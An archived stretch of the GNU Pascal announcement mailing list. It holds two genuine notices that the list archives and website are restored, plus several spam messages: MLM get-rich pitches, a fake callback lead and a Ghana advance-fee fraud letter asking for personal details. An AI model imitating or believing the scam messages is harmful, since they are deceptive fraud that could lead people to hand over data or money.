iD8DBQBCTGnQIeyB2Hl3Fo4RAsjxAKCUA4HflDkHeXzIKahk+kXem8aCCQCfT15s h/gHBCTpzT9M8G0kLGqg4u0= =GnoJ -----END PGP SIGNATURE----- ------=_20050331232120-8169-gpg_-- From gpc-announce-owner+M50@gnu.de Sat Jul 23 02:13:00 2005 Received: from [127.0.0.1] (helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1Dw7dE-0000Ox-KH; Sat, 23 Jul 2005 02:12:44 +0200 Received: from uucp by ngc224.gerwinski.de with local-rmail (Exim 4.50 #1 (Debian)) id 1Dw7cP-0000MS-Us for ; Sat, 23 Jul 2005 02:11:54 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id CAA14294 for ; Sat, 23 Jul 2005 02:11:37 +0200 Date: Sat, 23 Jul 2005 02:11:37 +0200 Message-ID: <1122077497.14292.856602@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Mailing list archive is back To: gpc-announce@gnu.de From: Frank Heckenbach User-Agent: semail 20050409 Precedence: bulk Sender: gpc-announce-owner@gnu.de After some time of problems the mailing list archives are back at their usual places: http://www.gnu-pascal.de/crystal/gpc/en/ http://www.gnu-pascal.de/crystal/gpc-announce/en/ http://www.gnu-pascal.de/crystal/gpc-doc/en/ The full GPC web site will be restored next week I hope. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 From gpc-announce-owner+M51@gnu.de Mon Sep 05 17:23:37 2005 Received: from [127.0.0.1] (helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1ECIoK-00077J-AA; Mon, 05 Sep 2005 17:23:04 +0200 Received: from uucp by ngc224.gerwinski.de with local-rmail (Exim 4.50 #1 (Debian)) id 1ECInm-00074O-KN for ; Mon, 05 Sep 2005 17:22:30 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id RAA21487 for ; Mon, 5 Sep 2005 17:22:16 +0200 Date: Mon, 5 Sep 2005 17:22:16 +0200 Message-ID: <1125933736.21485.730480@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: GPC web site is back To: gpc-announce@gnu.de From: Frank Heckenbach User-Agent: semail 20050409 Precedence: bulk Sender: gpc-announce-owner@gnu.de This announcement is a bit late, as actually most of the web site has been operating for a weeks now, but anyway. I'm glad to announce that the complete GPC web site, including the mailing list archives, the search engine, downloads and contributions, is fully working again. It's on a new server with upgraded hardware, so access should be faster now as well (if it ever was slow before ;-). The URL is the same as before: http://www.gnu-pascal.de/ Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 From gpc-announce-owner+M52@gnu.de Tue Feb 07 03:15:17 2006 Received: from [127.0.0.1] (helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1F6ING-0005CZ-4D; Tue, 07 Feb 2006 03:14:45 +0100 Received: from [64.18.131.252] (helo=your-wealthsolutions.com) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1F4j07-0004yu-JH for ; Thu, 02 Feb 2006 19:16:16 +0100 Received: (qmail 11427 invoked by uid 0); 2 Feb 2006 18:14:24 -0000 Message-ID: <20060202181424.11426.qmail@localhost> Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: text/plain MIME-Version: 1.0 X-Mailer: MIME::Lite 3.01 (F2.71; B2.12; Q2.03) Date: Thu, 2 Feb 2006 18:14:24 UT From: "James Carter" To: "Marketers " Subject: Millionaires WILL be made IN 2006 X-Contact: bGvW7Ibl0LvmBACJB/Bu6hc5cxM4NCPbynelRnfRUgiSBKC3f7sur7oAwfYhusgLxkxdb/8Eq/hEFeczg2mYmQ== X-Spam-Score: 2.9 (++) Precedence: bulk Sender: gpc-announce-owner@gnu.de X-Spam-Score: 3.9 (+++) Millionaires WILL be made IN 2006! This is the Biggest Launch In MLM History. Watch This Explode Worldwide. 10s of Thousands of people from the UK, AU, NZ, SA and over 65 Other Countries Are Getting in on this!! Marketers, You have NOT Heard of this one! Guaranteed! Even if you think you have been to our site and seen our offers, you have NOT seen this one! It is Totally New and VERY VERY unique! This is the Pre-Prelaunch of our System. This is the GROUND floor! Millionaires WILL be made IN 2006! http://jamescarter2.your-wealthsolutions.com/?e=gpc-announce@gnu.de Only $29. This is THE opportunity of 2006. Do not miss out! James Carter jamescarter2@your-wealthsolutions.com ---------------------------------------------------------------- You are receiving this message because you have either signed up to receive information from us or opted-in to a third-party. To be removed from this users list or notify us that this is Unsolicited, please see the link below. James Carter ABC Promotions 1399 green valley pkwy Henderson, NV 89074 http://jamescarter2.your-wealthsolutions.com/imout/?e=gpc-announce@gnu.de From gpc-announce-owner+M55@gnu.de Fri Feb 23 06:19:14 2007 Received: from [127.0.0.1] (helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1HKSpE-0008T7-Pm; Fri, 23 Feb 2007 06:18:32 +0100 Received: from [204.8.217.81] (helo=powerline-cash.net) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1HIsIB-0007CO-Jf for ; Sun, 18 Feb 2007 21:05:55 +0100 Received: (qmail 24524 invoked by uid 0); 18 Feb 2007 20:06:42 -0000 Message-ID: <20070218200642.24523.qmail@localhost> Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: text/plain MIME-Version: 1.0 X-Mailer: MIME::Lite 3.01 (F2.73; A1.74; B3.01; Q3.01) Date: Sun, 18 Feb 2007 20:06:42 UT From: vacationteam@powerline-cash.net To: gpc-announce@gnu.de Subject: Fwd: Did you see this? Just Launched X-Contact: R42fdLNRRF4uoMPSoDAveYc/VWDVHnjUR6tRg8gx500KXxIvzVp1BotUPG6odu9t7PErxfZQhcU7JAuKoOysVQ== X-Spam-Score: 4.5 (++++) Precedence: bulk Sender: gpc-announce-owner@gnu.de The most powerful online home business of the new year has now Officially Launched! Thousands per week potential in earnings, already! Completely automated system with leads to market. Millionaires will finally be made, from home. Check it: http://vacationteam.powerline-cash.net/?e=gpc-announce@gnu.de NEW - After Reviewing the above site, Please also take a look at our team site: http://vacationteam.powerline-cash.net/?e=gpc-announce@gnu.de&u=2 Team Nitro ---------------------------------------------------------------- You are receiving this message because you have either signed up to receive information from us or opted-in to a third-party. To be removed from this users list or notify us that this is Unsolicited, please see the link below. Vacation Team VacationBiz Promotions Inc. 3343 west sahara ave. Seattle, WA 98201 http://vacationteam.powerline-cash.net/imout/?e=gpc-announce@gnu.de From gpc-announce-owner+M56@gnu.de Sat Mar 17 00:56:43 2007 Received: from [127.0.0.1] (helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1HSMHW-0006Pq-G9; Sat, 17 Mar 2007 00:56:22 +0100 Received: from [216.12.217.146] (helo=transactions.expty.com) by ngc224.gerwinski.de with esmtps (Exim 4.50 #1 (Debian)) id 1HSMAD-0006EI-VG for ; Sat, 17 Mar 2007 00:48:59 +0100 DKIM-Signature: a=rsa-sha1; t=1174070929; x=1174675729; s=transactions; d=expty.com; c=relaxed/relaxed; q=dns; h=From:Subject:Date:Message-ID:To:MIME-Version:Content-Type; b=WsWf44faVkx3IMnsbI1bnKx0wz6KGl8pWZf5eNuqgV156w0tCWywCruN1UueQLd+yfe2iAPzYCxn04QJSWEx1A== Received: from transactions ([127.0.0.1]) by transactions.expty.com (Merak 8.9.5-6) with SMTP id VAM34349 for ; Fri, 16 Mar 2007 18:48:49 -0500 thread-index: AcdoJaTqhcQ+NiANRJy/e/4J3O9AJg== Thread-Topic: I called and left you a message From: To: Subject: I called and left you a message Date: Fri, 16 Mar 2007 18:48:49 -0500 Message-ID: <024001c76825$a4ead300$92d90cd8@expty.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0241_01C767FB.BC14CB00" X-Mailer: Microsoft CDO for Windows 2000 Content-Class: urn:content-classes:message Importance: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.2826 X-Spam-Score: 2.1 (++) Precedence: bulk Sender: gpc-announce-owner@gnu.de This is a multi-part message in MIME format. ------=_NextPart_000_0241_01C767FB.BC14CB00 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Charles, You requested information from http://www.travel-to-wealth.com/mikeb22. I just left a message at 866-225-3457... I'll talk to you when you call. If I don't answer, simply leave a message and I'll call you when I'm available. Mike Bellefontaine 604-575-2291 mike@chairbythepool.com WARNING CLICKING BELOW THIS LINE REMOVES YOU FROM FUTURE COMMUNICATION You are receiving this email because you gave me permission to send you information. If you would like to stop these emails, you may remove yourself by going to: http://www.bizmpire.net/remove.php?unsub=1rvgM3pww8JLBv16hdw2&e=31 [-450.539255-] ------=_NextPart_000_0241_01C767FB.BC14CB00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi = Charles,

You requested = information from http://www.travel-to-wea= lth.com/mikeb22.

I just left a = message at 866-225-3457...

I'll talk to = you when you call. If I don't answer,
simply leave a message and = I'll call you when I'm available.

Mike = Bellefontaine
604-575-2291
mike@chairbythepool.com





WARNING CLICKING BELOW THIS LINE REMOVES YOU FROM = FUTURE COMMUNICATION
You are receiving this email because you gave me = permission to send you information. If you would like to stop these = emails, you may remove yourself by clicking on this link: http://www.bizmpire.net/remove.php?unsub=3D1rvgM3pww8JLBv16hdw2&e=3D= 31


[-450.539255-] ------=_NextPart_000_0241_01C767FB.BC14CB00-- From gpc-announce-owner+M57@gnu.de Mon Oct 05 11:34:58 2009 Received: from localhost ([127.0.0.1] helo=gnu.de) by ngc224.gerwinski.de with smtp (Exim 4.50 #1 (Debian)) id 1Mujxq-0003od-KB; Mon, 05 Oct 2009 11:34:42 +0200 Received: from frontend01n.mail.kz ([92.46.53.16] helo=mail.kz) by ngc224.gerwinski.de with esmtp (Exim 4.50 #1 (Debian)) id 1MsjKc-0006nm-LW; Tue, 29 Sep 2009 22:30:32 +0200 Received: from [41.210.19.5] (account alexnana004@mail.kz) by backend02n.mail.kz (CommuniGate Pro WEBUSER 5.2.13) with HTTP id 1166517; Wed, 30 Sep 2009 01:12:51 +0600 From: "Mr.Alex Nana" Subject: From Mr.Alex Nana!!!!!Answer to your prayers X-Mailer: CommuniGate Pro WebUser v5.2.13 Date: Wed, 30 Sep 2009 01:12:51 +0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8;format="flowed" Content-Transfer-Encoding: 8bit X-Warning: 92.46.53.16 is in a black list at spam.dnsbl.sorbs.net X-Spam-Score: 4.8 (++++) Precedence: bulk Sender: gpc-announce-owner@gnu.de Dear Friend, My name is Mr.Alex Nana, I am an accountant in accounting department of Ministry of Roads and Highways Ghana. Also am a member of contracts awarding committee of this ministry under Ghana government. This mail may come to you as a surprise but be rest assured that this is not a hoax mail. I write to solicit your assistance in a funds transfer deal involving US$15,200,000:00M.Two years ago, Ghana government asked my committee to award contracts to foreign firms, which I and my colleague With our good position, deliberately over invoiced the contract sum to the tune of US$15,200,000:00 . The contracts value has been paid off to the actual contractors that executed these jobs, all I want now is a trusted foreign partner like you that we shall front with the banking account number to Claim the over inflated sum. All I require is your honest cooperation an confidence in me which I know would not come easy. I guarantee that this will be executed under a legitimate background that will protect you from any breach of the law. I would advise that you give this positive consideration and get back to me soon. I'll be flexible and considerate in the percentage share that will be given to you for your assistance I know there may be scams and junk mails on the internet but certainly, this is not one. Please do not fail to understand that in spite of all that, opportunities of this kind still abound. If you have ever wished or prayed for something good to come your way, now I urge you to take this message seriously and with an open mind,you could never know. This may be an answer to your prayers. Please do acknowledge your acceptance by forwarding the following to me: Your full name, Occupation, Your age, Your private telephone and fax numbers, Country. through this address:mr.alexnana1960@gmail.com,I look forward to hearing from you as soon as possible. Bye and God Bless, Mr.Alex Nana